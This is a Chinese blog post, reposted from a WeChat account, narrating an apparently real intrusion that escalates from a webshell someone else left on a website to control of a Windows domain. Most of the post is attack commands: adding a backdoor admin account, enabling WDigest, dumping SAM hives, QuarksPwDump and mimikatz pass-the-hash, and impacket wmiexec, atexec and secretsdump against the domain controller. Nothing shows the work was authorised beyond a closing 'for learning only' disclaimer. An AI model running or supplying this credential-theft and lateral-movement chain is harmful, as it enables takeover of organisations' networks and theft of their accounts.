webshell到域控

admin 2022年4月23日02:20:21评论41 views字数 1649阅读5分29秒阅读模式

欢迎转发,请勿抄袭

        分享一次与同事的实战经历

一、前言

    同事发来一个url,发现该站点存在任意文件读取,并被人留下了webshell,直接连接就行了。开局就是webshellwebshell到域控webshell到域控webshell到域控

webshell到域控

二、机器信息收集

    1、连接webshell后,发现当前是一个域管理员权限。

webshell到域控

    2、目标存在域

net time /domain

webshell到域控

     3、存在杀软

tasklist /svc 

webshell到域控

三、失败的远程桌面登陆

        1、直接通过终端,添加用户。并添加到管理组。

net user user passwd /addnet localgroup administrators user /add

webshell到域控

        2、发现远程默认端口被改。

执行命令 tasklist /svc | find "Ter",本例中查看到 TermService 的 PID 是 1592执行命令 netstat -ano | find "xxx",查看 TermService 使用的端口,如示例中的 3389

webshell到域控

        3、尝试连接发现连接一直连接不上。

webshell到域控

        4、尝试wmiexec登陆

python wmiexec.py user:passwd@ip

webshell到域控

四、奇怪的用户文件夹

    1、通过查看用户列表,发现一共7个本地用户。

net user

webshell到域控

    2、与之对应的用户配置文件却只有2个。

webshell到域控

五、凭证收集

    1、尝试本地凭证导出

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /freg save hklmsam e:testsam.hivereg save hklmsystem e:testsystem.hive

    失败!

    2、上传各种内存凭证导出工具,均以失败告终!

六、不起眼的提示

    1、将本地凭证导出工具上传到c盘时的提示

webshell到域控

        那么可以判断出,前面用户登陆不了远程桌面的问题跟这个有关,于是将一些多年前且无用的文件清理。

七、再次导出本地凭证

    1、上传工具quarkpwdump.exe。通过终端命令执行导出。

QuarksPwDump.exe  --dump-hash-local

webshell到域控


    2、通过ntlm登陆远程桌面

REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /fprivilege::debugsekurlsa::pth /user:administrator /domain:. /ntlm:ntlm值 "/run:mstsc.exe /restrictedadmin

webshell到域控

3、上线cs,导出内存凭证

webshell到域控

4、验证域管hash

atexec.exe -hashes :ntlm 域/域管用户名@ip whoami

webshell到域控

八、进击域控

1、寻找域控ip地址

net group "domain controllers" /domain 查找域管理器,再ping即可得到域控ip

2、使用smb管道登陆

python3 wmiexec.py -hashes :ntlm 域名称/administrator@域控ip

webshell到域控

发现登陆失败,猜测杀软拦截了。

3、尝试将ntlm解密,奈何解不了。

webshell到域控

4、尝试导出所有的hash

python3 secretsdump.py -hashes :ntlm 域名称/administrator@域控ip -dc-ip 域控ip

webshell到域控

5、找到域管用户

net group "domain admins" /domain

webshell到域控

6、将这三个域管用户ntlm进行解密,最终解出一个,登陆域控。

webshell到域控

总结:开局就是webshell。

文章声明:文章涉及到的工具、及教程仅供学习参考,请勿非法使用。否则与作者无关!


原文始发于微信公众号(yudays实验室):webshell到域控

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:20:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell到域控https://cn-sec.com/archives/917906.html

发表评论

匿名网友 填写信息